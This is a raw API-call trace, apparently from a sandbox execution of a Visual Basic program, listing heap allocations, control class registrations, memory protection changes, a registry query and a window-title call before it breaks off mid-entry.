[0042.126] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xd4) returned 0x14641d8 [0042.127] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x44) returned 0x14642b8 [0042.127] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x1c8) returned 0x1464308 [0042.127] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x14644d8 [0042.127] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x14644f8 [0042.127] lstrlenA (lpString="VB") returned 2 [0042.127] lstrlenA (lpString="ListBox") returned 7 [0042.127] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xb) returned 0x1464618 [0042.127] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x108) returned 0x1464630 [0042.127] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x54) returned 0x1464740 [0042.127] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x230) returned 0x14647a0 [0042.127] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x1463178, Size=0x50) returned 0x14649d8 [0042.127] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1463178 [0042.127] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x14631c8, Size=0x50) returned 0x1464a30 [0042.127] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1464a88 [0042.127] lstrlenA (lpString="VB") returned 2 [0042.127] lstrlenA (lpString="Timer") returned 5 [0042.127] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x9) returned 0x14631c8 [0042.128] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xc) returned 0x14631e0 [0042.128] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x30) returned 0x1464ba8 [0042.128] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x4) returned 0x1463198 [0042.128] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x9c) returned 0x1464be0 [0042.128] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1464c88 [0042.128] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1464ca8 [0042.128] lstrlenA (lpString="VB") returned 2 [0042.128] lstrlenA (lpString="Printer") returned 7 [0042.128] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xb) returned 0x1464dc8 [0042.128] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xdc) returned 0x1464de0 [0042.128] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1464ec8 [0042.128] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1464ee8 [0042.131] lstrlenA (lpString="VB") returned 2 [0042.131] lstrlenA (lpString="Form") returned 4 [0042.132] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x8) returned 0x1465008 [0042.132] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x184) returned 0x1465018 [0042.132] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x7c) returned 0x14651a8 [0042.132] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x2f8) returned 0x1465230 [0042.132] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1465530 [0042.132] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1465550 [0042.132] lstrlenA (lpString="VB") returned 2 [0042.132] lstrlenA (lpString="Screen") returned 6 [0042.132] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xa) returned 0x1465670 [0042.132] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x2c) returned 0x1465688 [0042.132] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xa0) returned 0x14656c0 [0042.132] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1465768 [0042.132] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1465788 [0042.132] lstrlenA (lpString="VB") returned 2 [0042.132] lstrlenA (lpString="Clipboard") returned 9 [0042.132] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xd) returned 0x14658a8 [0042.132] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x1c) returned 0x14658c0 [0042.133] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x68) returned 0x14658e8 [0042.133] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x14649d8, Size=0x78) returned 0x1465958 [0042.133] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x14649d8 [0042.133] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x1464a30, Size=0x78) returned 0x14659d8 [0042.133] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1465a58 [0042.133] lstrlenA (lpString="VB") returned 2 [0042.133] lstrlenA (lpString="FileListBox") returned 11 [0042.133] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xf) returned 0x14649f8 [0042.133] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x28) returned 0x1464a10 [0042.133] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xec) returned 0x1465b78 [0042.133] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x58) returned 0x1465c70 [0042.133] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x1f8) returned 0x1465cd0 [0042.133] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1464a40 [0042.133] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1465ed0 [0042.134] lstrlenA (lpString="VB") returned 2 [0042.134] lstrlenA (lpString="MDIForm") returned 7 [0042.134] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xb) returned 0x1464a60 [0042.134] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x184) returned 0x1465ff0 [0042.134] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x7c) returned 0x1466180 [0042.134] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x2f8) returned 0x1466208 [0042.134] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1466508 [0042.134] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1470d90 [0042.135] lstrlenA (lpString="VB") returned 2 [0042.135] lstrlenA (lpString="App") returned 3 [0042.135] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x7) returned 0x1464a78 [0042.135] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x84) returned 0x1470eb0 [0042.135] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x148) returned 0x1470f40 [0042.135] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1471090 [0042.135] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x14710b0 [0042.135] lstrlenA (lpString="VB") returned 2 [0042.135] lstrlenA (lpString="UserControl") returned 11 [0042.135] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xf) returned 0x14711d0 [0042.135] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x1e4) returned 0x14711e8 [0042.135] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xb0) returned 0x14713d8 [0042.135] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x3a4) returned 0x1471490 [0042.136] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1471858 [0042.136] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1472440 [0042.136] lstrlenA (lpString="VB") returned 2 [0042.136] lstrlenA (lpString="PropertyPage") returned 12 [0042.136] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x10) returned 0x1472560 [0042.136] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x190) returned 0x1472578 [0042.136] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x88) returned 0x1472710 [0042.136] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x310) returned 0x14727a0 [0042.136] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x1465958, Size=0xa0) returned 0x1472ab8 [0042.136] lstrcmpiA (lpString1="VB.MDIForm", lpString2="VB.PropertyPage") returned -1 [0042.136] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1471878 [0042.136] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x14659d8, Size=0xa0) returned 0x1472b60 [0042.136] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1472c08 [0042.137] lstrlenA (lpString="VB") returned 2 [0042.137] lstrlenA (lpString="UserDocument") returned 12 [0042.137] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x10) returned 0x1472d40 [0042.137] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x1c8) returned 0x1473128 [0042.137] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xa8) returned 0x1465958 [0042.137] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x370) returned 0x14732f8 [0042.137] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1471898 [0042.137] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x20) returned 0x1465a08 [0042.143] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x170) returned 0x1473670 [0042.144] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1473800 [0042.149] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x12c) returned 0x14757e8 [0042.149] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x24) returned 0x1475920 [0042.149] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x14718b8 [0042.150] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x30) returned 0x38808f0 [0042.165] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xa0) returned 0x1475950 [0042.165] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x28) returned 0x14759f8 [0042.165] GetCurrentThreadId () returned 0x3a4 [0042.165] GetCurrentThreadId () returned 0x3a4 [0042.165] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x10) returned 0x1472d58 [0042.177] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x30) returned 0x3880928 [0042.177] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xa0) returned 0x1475a28 [0042.177] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x28) returned 0x1475ad0 [0042.177] GetCurrentThreadId () returned 0x3a4 [0042.178] GetCurrentThreadId () returned 0x3a4 [0042.178] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x10) returned 0x1472d70 [0042.178] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x30) returned 0x3880960 [0042.178] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xa0) returned 0x1475b00 [0042.178] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x28) returned 0x1475ba8 [0042.178] GetCurrentThreadId () returned 0x3a4 [0042.178] GetCurrentThreadId () returned 0x3a4 [0042.178] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x10) returned 0x1472d88 [0042.178] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x30) returned 0x3880998 [0042.178] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xa0) returned 0x1475bd8 [0042.178] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x28) returned 0x1475c80 [0042.178] GetCurrentThreadId () returned 0x3a4 [0042.178] GetCurrentThreadId () returned 0x3a4 [0042.178] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x10) returned 0x1472da0 [0042.178] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1473928 [0042.178] lstrlenA (lpString="VB") returned 2 [0042.178] lstrlenA (lpString="CheckBox") returned 8 [0042.178] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xc) returned 0x1472db8 [0042.178] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x28) returned 0x1475cb0 [0042.178] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xec) returned 0x1475ce0 [0042.178] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x48) returned 0x1475dd8 [0042.178] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x1f8) returned 0x1475e28 [0042.179] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x14718d8 [0042.179] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1473a50 [0042.179] lstrlenA (lpString="VB") returned 2 [0042.179] lstrlenA (lpString="OptionButton") returned 12 [0042.179] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x10) returned 0x1472dd0 [0042.179] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x28) returned 0x1476028 [0042.179] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xd4) returned 0x1476058 [0042.179] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x4c) returned 0x1476138 [0042.179] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x1c8) returned 0x1476190 [0042.179] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x14718f8 [0042.179] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1473b78 [0042.180] lstrlenA (lpString="VB") returned 2 [0042.180] lstrlenA (lpString="ComboBox") returned 8 [0042.180] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xc) returned 0x1472de8 [0042.180] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x108) returned 0x1476360 [0042.180] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x4c) returned 0x1476470 [0042.180] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x230) returned 0x14764c8 [0042.180] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x1472ab8, Size=0xc8) returned 0x1476700 [0042.180] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1471918 [0042.180] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x1472b60, Size=0xc8) returned 0x14767d0 [0042.180] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1473ca0 [0042.180] lstrlenA (lpString="VB") returned 2 [0042.180] lstrlenA (lpString="HScrollBar") returned 10 [0042.180] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xe) returned 0x1472e00 [0042.180] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x24) returned 0x1472ab8 [0042.180] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x90) returned 0x1472ae8 [0042.180] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x28) returned 0x1472b80 [0042.180] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x144) returned 0x14768a0 [0042.181] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1471938 [0042.181] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1473dc8 [0042.181] lstrlenA (lpString="VB") returned 2 [0042.181] lstrlenA (lpString="VScrollBar") returned 10 [0042.181] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xe) returned 0x1472e18 [0042.181] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x24) returned 0x1472bb0 [0042.181] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x90) returned 0x14769f0 [0042.181] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x28) returned 0x1476a88 [0042.181] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x144) returned 0x1476ab8 [0042.181] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1471958 [0042.181] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1473ef0 [0042.181] lstrlenA (lpString="VB") returned 2 [0042.181] lstrlenA (lpString="DriveListBox") returned 12 [0042.181] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x10) returned 0x1472e30 [0042.181] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x28) returned 0x1476c08 [0042.182] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xc0) returned 0x1476c38 [0042.182] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x40) returned 0x1476d00 [0042.182] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x1a0) returned 0x1476d48 [0042.182] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1471978 [0042.182] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1474018 [0042.182] lstrlenA (lpString="VB") returned 2 [0042.182] lstrlenA (lpString="DirListBox") returned 10 [0042.182] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xe) returned 0x1472e48 [0042.182] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x28) returned 0x1476ef0 [0042.182] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xc8) returned 0x1476f20 [0042.182] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x50) returned 0x1476ff0 [0042.182] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x1b0) returned 0x1477048 [0042.182] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1471998 [0042.183] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1474140 [0042.183] lstrlenA (lpString="VB") returned 2 [0042.183] lstrlenA (lpString="Menu") returned 4 [0042.183] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x8) returned 0x1472be0 [0042.183] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x38) returned 0x1477200 [0042.183] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x4) returned 0x1472bf0 [0042.183] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xb8) returned 0x1477240 [0042.183] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x1476700, Size=0xf0) returned 0x1477300 [0042.183] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x14719b8 [0042.183] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x14767d0, Size=0xf0) returned 0x14773f8 [0042.183] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1474268 [0042.183] lstrlenA (lpString="VB") returned 2 [0042.183] lstrlenA (lpString="Shape") returned 5 [0042.183] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x9) returned 0x1472e60 [0042.183] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x1c) returned 0x1465a30 [0042.183] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x68) returned 0x1476700 [0042.183] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xfc) returned 0x1476770 [0042.184] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x14719d8 [0042.184] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1474390 [0042.184] lstrlenA (lpString="VB") returned 2 [0042.184] lstrlenA (lpString="Line") returned 4 [0042.184] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x8) returned 0x1476878 [0042.184] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x18) returned 0x14719f8 [0042.184] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x50) returned 0x14774f0 [0042.184] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0xd0) returned 0x1477548 [0042.184] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1471a18 [0042.184] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x14744b8 [0042.184] lstrlenA (lpString="VB") returned 2 [0042.184] lstrlenA (lpString="Image") returned 5 [0042.184] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x9) returned 0x1472e78 [0042.184] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x24) returned 0x1477620 [0042.184] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x98) returned 0x1477650 [0042.184] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x34) returned 0x14776f0 [0042.184] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x154) returned 0x1477730 [0042.185] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1471a38 [0042.185] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x14745e0 [0042.185] lstrlenA (lpString="VB") returned 2 [0042.185] lstrlenA (lpString="Data") returned 4 [0042.185] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x8) returned 0x1476888 [0042.185] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xd8) returned 0x1477890 [0042.185] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x3c) returned 0x1477970 [0042.185] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x1d8) returned 0x14779b8 [0042.185] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1471a58 [0042.185] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x114) returned 0x1474708 [0042.185] lstrlenA (lpString="VB") returned 2 [0042.185] lstrlenA (lpString="OLE") returned 3 [0042.185] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x7) returned 0x1477b98 [0042.185] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x17c) returned 0x1477ba8 [0042.185] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x40) returned 0x1477d30 [0042.185] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x2f0) returned 0x1477d78 [0042.186] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x1477300, Size=0x118) returned 0x1478070 [0042.186] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1471a78 [0042.186] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x14773f8, Size=0x118) returned 0x1478190 [0042.193] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fd460 [0042.193] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fd4d0 [0042.193] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fd540 [0042.193] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fd5b0 [0042.193] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fd620 [0042.193] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fd690 [0042.193] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fd700 [0042.193] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fd770 [0042.193] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fd7e0 [0042.193] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fd850 [0042.193] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fd8c0 [0042.193] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fd930 [0042.193] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fd9a0 [0042.193] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fda10 [0042.193] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fda98 [0042.194] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fdb08 [0042.194] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fdb78 [0042.194] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fdbe8 [0042.194] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fdc58 [0042.194] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fdcc8 [0042.194] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fdd38 [0042.194] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fdda8 [0042.194] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fde18 [0042.194] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x14fde88 [0042.194] IMalloc:Alloc (This=0x767666bc, cb=0xc) returned 0x14fcb08 [0042.194] IMalloc:Alloc (This=0x767666bc, cb=0x1f8) returned 0x14fea80 [0042.194] IMalloc:GetSize (This=0x767666bc, pv=0x14fea80) returned 0x1f8 [0042.194] IMalloc:Alloc (This=0x767666bc, cb=0x20) returned 0x14f9670 [0042.196] GetCurrentThreadId () returned 0x3a4 [0042.196] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x54) returned 0x1477300 [0042.196] GetCurrentThreadId () returned 0x3a4 [0042.196] IMalloc:Alloc (This=0x767666bc, cb=0x1c) returned 0x14f9698 [0042.196] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x104) returned 0x1477360 [0042.196] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x6f8) returned 0x14782b0 [0042.196] VirtualProtect (in: lpAddress=0x210000, dwSize=0x6000, flNewProtect=0x4, lpflOldProtect=0x18fdf8 | out: lpflOldProtect=0x18fdf8*=0x20) returned 1 [0042.196] GetCurrentProcess () returned 0xffffffff [0042.196] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x210000, dwSize=0x6000) returned 1 [0042.196] VirtualAlloc (lpAddress=0x210000, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0042.197] VirtualAlloc (lpAddress=0x210000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0042.197] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xd4) returned 0x14789b0 [0042.197] VirtualAlloc (lpAddress=0x210000, dwSize=0x9000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0042.197] VirtualAlloc (lpAddress=0x210000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0042.197] VirtualProtect (in: lpAddress=0x210000, dwSize=0xa000, flNewProtect=0x20, lpflOldProtect=0x18fdf8 | out: lpflOldProtect=0x18fdf8*=0x4) returned 1 [0042.200] GetCurrentProcess () returned 0xffffffff [0042.200] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x210000, dwSize=0xa000) returned 1 [0042.200] GetCurrentThreadId () returned 0x3a4 [0042.200] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x23ec) returned 0x1478a90 [0042.211] GetCurrentThreadId () returned 0x3a4 [0042.212] SetWindowTextA (hWnd=0x5011c, lpString="Artyom") returned 1 [0042.212] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0xc, wParam=0x0, lParam=0x18fd6c) returned 0x1 [0042.212] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\VBA\\Monitors", phkResult=0x18fd54 | out: phkResult=0x18fd54*=0x0) returned 0x2 [0042.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP", cchWideChar=5, lpMultiByteStr=0x18f94c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP", lpUsedDefaultChar=0x0) returned 5 [0042.265] CompareStringA (Locale=0x0, dwCmpFlags=0x0, lpString1="", cchCount1=1, lpString2="", cchCount2=1) returned 2 [0042.266] CompareStringA (Locale=0x0, dwCmpFlags=0x1, 